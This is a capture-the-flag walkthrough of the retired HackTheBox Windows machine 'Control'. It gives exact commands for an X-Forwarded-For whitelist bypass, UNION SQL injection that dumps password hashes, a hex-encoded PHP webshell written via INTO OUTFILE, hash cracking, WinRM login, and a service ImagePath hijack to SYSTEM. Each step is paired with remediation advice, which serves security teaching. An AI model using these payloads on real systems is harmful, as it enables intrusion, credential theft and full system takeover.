← all walkthroughs

Control

Windows· Hard· Web
owned
2026-07-10
time to own
5m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon against <retired-instance-ip> (HTB "Control", Windows/IIS 10.0, PHP 7.3.7) found a storefront site whose /admin.php page returned an access-denied page to direct requests. Viewing the response revealed the admin panel was IP-whitelisted; supplying the header X-Forwarded-For: <retired-instance-ip> on every request satisfied the whitelist and exposed the admin product-search page.

The admin search parameter (productName) was vulnerable to MySQL UNION-based SQL injection. A single quote broke the query, ORDER BY 7 errored while ORDER BY 6 did not (confirming 6 columns), and a UNION SELECT 1,2,3,4,5,6-- - reflected into the page. This was used to dump mysql.user credentials (GROUP_CONCAT(user,0x3a,password,0x0a)), yielding root:*[REDACTED: protected value] (repeated for all rows — an old-format MySQL SHA1 password hash). A follow-up query confirmed FILE_PRIV=Y for the app's DB user with secure_file_priv=NULL, meaning arbitrary file writes to disk were possible via INTO OUTFILE.

That FILE privilege was used to plant a PHP webshell directly in the IIS webroot (C:\inetpub\wwwroot\uploads\) via ... LIMIT 1 INTO OUTFILE '...' LINES TERMINATED BY 0x<hex-encoded-php>-- -. The resulting webshell (uploads/cmd2.php?c=<cmd>) gave RCE as nt authority\iusr.

The dumped hash was cracked offline (hashcat, mode 300 / raw-SHA1) to the plaintext [REDACTED: recovered credential], which was reused as the Windows password for the local account hector (member of Remote Management Users). This credential was used with PowerShell Remoting (Invoke-Command/PSRemoting to CONTROL\hector) to obtain an authenticated session and read user.txt ([REDACTED: flag]).

Privilege escalation to SYSTEM/root abused a misconfiguration discovered in hector's PowerShell command history: hector had previously been granted Full Control over the registry key HKLM:\SYSTEM\CurrentControlSet\Services. This allowed repointing the ImagePath of the manual-start, LocalSystem-run seclogon service to an user-chosen command; starting the service then executed that command as SYSTEM. Rather than catching a reverse shell (unreliable in-session), the ImagePath was set to a cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploads\r.txt command, exfiltrating root.txt ([REDACTED: flag]) to a web-readable path for retrieval over HTTP.

Attack path — how the box was taken

1ReconnaissanceService enumeration and information disclosure in HTML source (T1590)
Enumerated services and extracted the admin whitelist IP from page source
A port scan of <retired-instance-ip> revealed IIS 10.0 with PHP 7.3.7 on port 80 and MariaDB on port 3306. Browsing the public storefront and inspecting the HTML source disclosed the string '<retired-instance-ip>' — the IP address of a trusted internal proxy. A direct request to /admin.php without that address returned an access-denied page, confirming the admin panel was restricted to that proxy IP. Because the proxy address appeared in client-visible source, no privileged access was needed to learn it.
recon_sweep found 80/tcp IIS 10.0, 3306/tcp MariaDB; page source contained <retired-instance-ip> as the whitelisted proxy address.
Exact commands 2
Service-version scan of common Windows ports.
nmap -sV -sC -p 80,135,443,1433,3306,5985 $TARGET
Extract any IP addresses embedded in the public page source.
curl -s http://$TARGET/ | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'
FixEnforce the admin IP whitelist at the network layer and remove internal addresses from public sourceHigh
WeaknessThe admin panel's access control relied on the client-supplied X-Forwarded-For header to identify the caller's IP. Because clients control this header, an unauthorized user who knew the whitelisted address — which was embedded in the public storefront's HTML — could trivially impersonate a trusted host. The allowed IP should never have appeared in client-visible source code.
FixRemove the X-Forwarded-For header check and enforce the IP restriction at the network layer: use a Windows Firewall rule, IIS IP Address and Domain Restrictions, or an upstream network ACL that acts on the actual TCP source address. If a reverse proxy is required, configure the web server to trust the forwarded-for header only from one specific, known proxy IP (never from arbitrary clients) and validate it at the application layer only as a secondary check. Audit all HTML, JavaScript, and configuration files served publicly to ensure no internal network addresses are disclosed.
2Initial AccessHTTP header spoofing / IP whitelist bypass (CWE-807)
Bypassed the admin IP whitelist with a spoofed X-Forwarded-For header
The server determined the requester's IP by reading the client-supplied X-Forwarded-For HTTP header rather than the actual TCP source address. Adding the header 'X-Forwarded-For: <retired-instance-ip>' to every request to /admin.php satisfied the whitelist check and returned HTTP 200, exposing the full Fidelity admin panel including a product-search form.
curl with X-Forwarded-For: <retired-instance-ip> returned HTTP 200 with <title>Fidelity</title>; without the header the endpoint returned access-denied (4/4 advisors, identical result).
Exact commands 1
Confirm the admin panel is reachable with the spoofed header.
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' http://$TARGET/admin.php | head -30
FixEnforce the admin IP whitelist at the network layer and remove internal addresses from public sourceHigh
WeaknessThe admin panel's access control relied on the client-supplied X-Forwarded-For header to identify the caller's IP. Because clients control this header, an unauthorized user who knew the whitelisted address — which was embedded in the public storefront's HTML — could trivially impersonate a trusted host. The allowed IP should never have appeared in client-visible source code.
FixRemove the X-Forwarded-For header check and enforce the IP restriction at the network layer: use a Windows Firewall rule, IIS IP Address and Domain Restrictions, or an upstream network ACL that acts on the actual TCP source address. If a reverse proxy is required, configure the web server to trust the forwarded-for header only from one specific, known proxy IP (never from arbitrary clients) and validate it at the application layer only as a secondary check. Audit all HTML, JavaScript, and configuration files served publicly to ensure no internal network addresses are disclosed.
3ExploitationUNION-based SQL injection (CWE-89 / T1190)
Dumped all database password hashes via UNION-based SQL injection
The admin product-search parameter (productName) was passed directly into a MySQL query without sanitization. A single quote triggered a database error. ORDER BY probing fixed the column count at 6. A UNION SELECT query against mysql.user extracted hashed passwords for all three accounts: root (*[REDACTED: protected value]), manager (*[REDACTED: protected value]), and hector (*[REDACTED: protected value]). A follow-up query confirmed FILE_PRIV=Y for the active session user (manager@localhost) and that @@secure_file_priv was NULL, meaning unrestricted file writes were possible.
GROUP_CONCAT dump returned root:*0A4A..., manager:*CFE3..., hector:*0E17... (4/4 advisors, identical dump); file_privs query returned manager:Y with secure_file_priv=NULL.
Exact commands 4
Confirm SQLi: a single quote produces a database error.
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName='" http://$TARGET/admin.php
ORDER BY 6 succeeds; ORDER BY 7 errors — confirms 6 injectable columns.
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' ORDER BY 6-- -" http://$TARGET/admin.php
Dump all mysql.user password hashes.
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' UNION SELECT 1,2,3,4,GROUP_CONCAT(user,0x3a,password,0x0a),6 FROM mysql.user-- -" http://$TARGET/admin.php
Confirm FILE privilege and secure_file_priv setting for the session user.
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' UNION SELECT 1,2,3,4,CONCAT('cur=',CURRENT_USER(),0x0a,'fp=',GROUP_CONCAT(user,0x3a,file_priv),0x0a,'sfp=',IFNULL(@@secure_file_priv,'NULL')),6 FROM mysql.user-- -" http://$TARGET/admin.php
FixReplace dynamic SQL string concatenation with parameterized queriesCritical
WeaknessThe productName search parameter was concatenated directly into a MySQL query string. I could inject arbitrary SQL, breaking out of the intended query to extract the entire mysql.user table including password hashes.
FixRewrite all database queries using prepared statements with parameterized inputs (PDO with bindParam in PHP). Apply a least-privilege database account for the web application: it should have SELECT on application tables only, with no access to mysql.user or information_schema privileges tables. Enable a web application firewall (WAF) rule for SQL injection patterns as a defence-in-depth layer. Conduct a code review to identify and remediate any other dynamic query construction in the application.
4FootholdMySQL INTO OUTFILE webshell via FILE privilege (T1505.003 / CWE-434)
Wrote a PHP webshell to the IIS webroot using MySQL FILE privilege
Because the database session held FILE privilege and @@secure_file_priv was NULL (no write restriction), a UNION SELECT with INTO OUTFILE and LINES TERMINATED BY a hex-encoded PHP payload wrote an executable webshell to C:\inetpub\wwwroot\uploads\cmd2.php. A subsequent GET request to that path with a command parameter returned command output running as the IIS service account (nt authority\iusr), confirming remote code execution on the web server.
curl to uploads/cmd2.php?c=whoami returned 'nt authority\iusr'; the hex payload decodes to <?php system($_REQUEST["c"]);?>
Exact commands 2
Write webshell; hex payload decodes to: <?php system($_REQUEST["c"]);?>
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' LIMIT 1 INTO OUTFILE 'C:\\inetpub\\wwwroot\\uploads\\cmd2.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f524551554553545b2263225d293b3f3e-- -" http://$TARGET/admin.php
Confirm RCE — expect 'nt authority\iusr'.
curl -s 'http://$TARGET/uploads/cmd2.php?c=whoami'
FixRevoke MySQL FILE privilege and restrict INTO OUTFILE to a safe directoryCritical
WeaknessThe database account used by the web application held the MySQL FILE privilege with @@secure_file_priv=NULL (no write restriction). Any SQL injection reaching an INTO OUTFILE statement could write arbitrary content to any path the MySQL process had write access to — including the IIS webroot — resulting in a dropped PHP webshell and remote code execution.
FixRevoke FILE privilege from all application database accounts: REVOKE FILE ON *.* FROM 'manager'@'localhost'. Set secure_file_priv in my.cnf/my.ini to a dedicated, non-web-accessible directory or to an empty string to disable file export entirely; restart the MySQL service. Use OS-level ACLs to ensure the MySQL service account (NETWORK SERVICE or a dedicated account) has no write permission on C:\inetpub\wwwroot or any of its subdirectories.
5Credential AccessOffline password cracking and credential reuse (T1110.002 / T1078)
Cracked hector's MySQL password hash to recover a reused Windows password
The MySQL password hashes used the old MySQL double-SHA1 format (hashcat mode 300). Running hector's hash against the rockyou wordlist recovered the plaintext password [REDACTED: recovered credential] in seconds. This same password was [REDACTED: recovered credential] for hector's Windows account — the database and OS credentials were never managed independently, collapsing two authentication boundaries into one.
hashcat -m 300 on *[REDACTED: protected value] yielded [REDACTED: recovered credential]; PSRemoting as CONTROL\hector subsequently succeeded.
Exact commands 2
Save hector's extracted hash to a file.
echo '*[REDACTED: protected value]' > hector.hash
Crack MySQL double-SHA1 hash (mode 300) against rockyou wordlist.
hashcat -m 300 hector.hash /usr/share/wordlists/rockyou.txt
FixEnforce unique passwords across systems and prohibit reuse of database credentials as Windows passwordsHigh
WeaknessHector's MySQL password hash was crackable from a common wordlist, and the resulting plaintext was identical to his Windows account password. A single database credential dump immediately yielded valid operating-system credentials, collapsing two separate authentication boundaries into one.
FixEnforce a minimum 16-character password policy with complexity requirements via Group Policy (Fine-Grained Password Policy or Default Domain Policy). Mandate that database service passwords and Windows account passwords are managed independently and stored separately in a secrets manager (e.g., HashiCorp Vault, CyberArk, or Windows LAPS for local accounts). Rotate hector's Windows password and all currently known database passwords immediately. Consider enrolling privileged accounts in Protected Users security group to limit credential exposure.
6Lateral MovementPowerShell Remoting lateral movement (T1021.006)
Authenticated via PowerShell Remoting as hector and read user.txt
Hector's account was a member of the Remote Management Users group, enabling WinRM/PowerShell Remoting on port 5985. Using the cracked password to build a PSCredential object and invoking Invoke-Command against localhost executed commands in hector's Windows context. This confirmed the account, returned the hostname, and allowed reading the user flag from C:\Users\hector\Desktop\user.txt.
Invoke-Command with CONTROL\hector:[REDACTED: recovered credential] returned whoami=control\hector and user.txt contents.
Exact commands 2
Interactive WinRM shell as hector (simplest approach).
evil-winrm -i $TARGET -u hector -p '[REDACTED: recovered credential]'
PSRemoting one-liner to confirm identity and read user flag; returns [REDACTED: flag].
$sec = ConvertTo-SecureString '[REDACTED: recovered credential]' -AsPlainText -Force; $cred = New-Object System.Management.scripting.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami; Get-Content C:\Users\hector\Desktop\user.txt }
FixEnforce unique passwords across systems and prohibit reuse of database credentials as Windows passwordsHigh
WeaknessHector's MySQL password hash was crackable from a common wordlist, and the resulting plaintext was identical to his Windows account password. A single database credential dump immediately yielded valid operating-system credentials, collapsing two separate authentication boundaries into one.
FixEnforce a minimum 16-character password policy with complexity requirements via Group Policy (Fine-Grained Password Policy or Default Domain Policy). Mandate that database service passwords and Windows account passwords are managed independently and stored separately in a secrets manager (e.g., HashiCorp Vault, CyberArk, or Windows LAPS for local accounts). Rotate hector's Windows password and all currently known database passwords immediately. Consider enrolling privileged accounts in Protected Users security group to limit credential exposure.
7Privilege EscalationService registry permissions weakness (T1574.011)
Abused service registry ACL misconfiguration to execute code as SYSTEM via seclogon
Reading hector's PowerShell command history (Get-PSReadlineOption) revealed prior registry-ACL manipulation granting hector Full Control over HKLM:\SYSTEM\CurrentControlSet\Services. The Secondary Logon service (seclogon) was [REDACTED: recovered credential] with a Manual start type and ran as LocalSystem — meaning it could be started on demand and would execute its ImagePath binary as the highest Windows privilege. Overwriting seclogon's ImagePath registry value to a cmd.exe command that copied root.txt to the web-readable uploads directory, then starting the service, ran that command as SYSTEM. The root flag was retrieved over HTTP.
PowerShell history showed Set-Acl granting hector FullControl on service keys; Set-ItemProperty on seclogon ImagePath succeeded; Start-Service seclogon executed the command as SYSTEM; curl to uploads/r.txt returned root.txt.
Exact commands 4
Read hector's PowerShell command history to discover the registry ACL misconfiguration.
$sec = ConvertTo-SecureString '[REDACTED: recovered credential]' -AsPlainText -Force; $cred = New-Object System.Management.scripting.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { gc (Get-PSReadlineOption).HistorySavePath }
Confirm hector has FullControl over the seclogon service registry key.
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Get-Acl 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' | Format-List }
Overwrite seclogon ImagePath to exfil root.txt to the webroot, then start the service as SYSTEM.
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' -Name ImagePath -Value 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploads\r.txt'; Start-Service seclogon }
Retrieve root.txt ([REDACTED: flag]) from the web-readable path.
curl -s http://$TARGET/uploads/r.txt
FixRestrict Windows service registry key ACLs to SYSTEM and Administrators onlyCritical
WeaknessThe registry key HKLM:\SYSTEM\CurrentControlSet\Services had been misconfigured to grant the non-administrative user hector Full Control. This allowed hector to overwrite the ImagePath of any service — including LocalSystem services such as seclogon — and start that service, effectively granting arbitrary code execution as SYSTEM to a standard user account.
FixAudit all ACLs under HKLM:\SYSTEM\CurrentControlSet\Services using Get-Acl in PowerShell or the Security Templates snap-in (secedit). Remove any non-administrative principals; only SYSTEM, built-in Administrators, and TrustedInstaller should hold write access to service registry keys. Apply the Microsoft Security Compliance Toolkit baseline for Windows Server to restore default service permissions. Enable auditing of registry-key permission changes and alert on Windows Event ID 4670 (permissions on an object were changed) for keys under CurrentControlSet\Services.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

80/tcp
135/tcp
3306/tcp
49666/tcp
49667/tcp